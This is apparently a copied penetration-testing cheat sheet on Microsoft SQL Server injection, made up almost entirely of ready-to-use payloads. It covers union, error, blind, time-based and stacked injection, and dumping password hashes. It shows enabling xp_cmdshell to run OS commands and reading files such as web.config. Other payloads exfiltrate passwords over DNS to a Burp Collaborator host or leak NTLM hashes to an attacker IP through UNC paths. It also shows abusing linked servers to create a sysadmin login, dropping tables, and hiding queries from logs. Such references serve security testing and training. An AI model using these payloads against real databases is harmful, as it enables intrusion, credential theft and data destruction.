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MSSQL Injection
MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.
Summary
- MSSQL Default Databases
- MSSQL Comments
- MSSQL Database Credentials
- MSSQL Enumeration
- MSSQL Union Based
- MSSQL Error Based
- MSSQL Blind Based
- MSSQL Time Based
- MSSQL Stacked Query
- MSSQL Read File
- MSSQL Command Execution
- MSSQL Out of Band
- MSSQL Trusted Links
- MSSQL Privileges
- References
MSSQL Default Databases
Name | Description |
---|---|
pubs | Not available on MSSQL 2005 |
model | Available in all versions |
msdb | Available in all versions |
tempdb | Available in all versions |
northwind | Available in all versions |
information_schema | Available from MSSQL 2000 and higher |
MSSQL Comments
Type | Description |
---|---|
/* MSSQL Comment */ |
C-style comment |
-- - |
SQL comment |
;%00 |
Null byte |
MSSQL Database Credentials
- MSSQL 2000: Hashcat mode 131:
0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
SELECT name, password FROM master..sysxlogins SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
- MSSQL 2005: Hashcat mode 132:
0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
SELECT name, password_hash FROM master.sys.sql_logins SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
MSSQL Enumeration
Description | SQL Query |
---|---|
DBMS version | SELECT @@version |
Database name | SELECT DB_NAME() |
Hostname | SELECT HOST_NAME() |
Hostname | SELECT @@hostname |
Hostname | SELECT @@SERVERNAME |
Hostname | SELECT SERVERPROPERTY('productversion') |
Hostname | SELECT SERVERPROPERTY('productlevel') |
Hostname | SELECT SERVERPROPERTY('edition') |
User | SELECT CURRENT_USER |
User | SELECT user_name(); |
User | SELECT system_user; |
User | SELECT user; |
MSSQL List Databases
SELECT name FROM master..sysdatabases;
-- for N = 0, 1, 2, …
SELECT DB_NAME(N);
-- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb
-- (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases;
MSSQL List Columns
-- for the current DB only
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');
-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
SELECT table_catalog, column_name FROM information_schema.columns
MSSQL List Tables
-- use xtype = 'V' for views
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
SELECT table_catalog, table_name FROM information_schema.columns
-- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';
MSSQL Union Based
-
Extract databases names
$ SELECT name FROM master..sysdatabases [*] Injection [*] msdb [*] tempdb
-
Extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' [*] Profiles [*] Roles [*] Users
-
Extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') [*] UserId [*] UserName
-
Finally extract the data
$ SELECT UserId, UserName from Users
MSSQL Error Based
-
For integer inputs
convert(int,@@version) cast((SELECT @@version) as int)
-
For string inputs
' + convert(int,@@version) + ' ' + cast((SELECT @@version) as int) + '
MSSQL Blind Based
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
MSSQL Blind With Substring Equivalent
Function | Example |
---|---|
SUBSTRING |
SUBSTRING('foobar', <START>, <LENGTH>) |
Examples:
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
MSSQL Time Based
In a time-based blind SQL injection attack, an attacker injects a payload that uses WAITFOR DELAY
to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
MSSQL Stacked Query
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Stacked query without any statement terminator
-- multiple SELECT statements SELECT 'A'SELECT 'B'SELECT 'C' -- updating password with a stacked query SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')-- -- using the stacked query to enable xp_cmdshell -- you won't have the output of the query, redirect it to a file SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
-
Use a semi-colon "
;
" to add another queryProductID=1; DROP members--
MSSQL Read File
Permissions: The BULK
option requires the ADMINISTER BULK OPERATIONS
or the ADMINISTER DATABASE BULK OPERATIONS
permission.
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
MSSQL Command Execution
XP_CMDSHELL
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
Python Script
Executed by a different user than the one using
xp_cmdshell
to execute commands
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
MSSQL Out of Band
MSSQL DNS exfiltration
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
-
Permission: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
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Permission: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default))) 1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
MSSQL UNC Path
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree
function to list the files in our SMB share and grab the NTLMv2 hash.
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
MSSQL Trusted Links
The links between databases work even across forest trusts.
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] # Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Manual exploitation
-- find link
select * from master..sysservers
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
MSSQL Privileges
MSSQL List Permissions
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Listing effective permissions of current user on the server.
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
-
Listing effective permissions of current user on the database.
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
-
Listing effective permissions of current user on a view.
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
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Check if current user is a member of the specified server role.
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin SELECT is_srvrolemember('sysadmin');
MSSQL Make User DBA
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
MSSQL OPSEC
Use SP_PASSWORD
in a query to hide from the logs like : ' AND 1=1--sp_password
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
References
- AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice - Marc Olivier Bergeron - June 21, 2023
- Error based SQL Injection in "Order By" clause - Manish Kishan Tanwar - March 26, 2018
- Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - January 28, 2009
- IS_SRVROLEMEMBER (Transact-SQL) - Microsoft - April 9, 2024
- MSSQL Injection Cheat Sheet - @pentestmonkey - August 30, 2011
- MSSQL Trusted Links - HackTricks - September 15, 2024
- SQL Server - Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6, 2013
- sys.fn_my_permissions (Transact-SQL) - Microsoft - January 25, 2024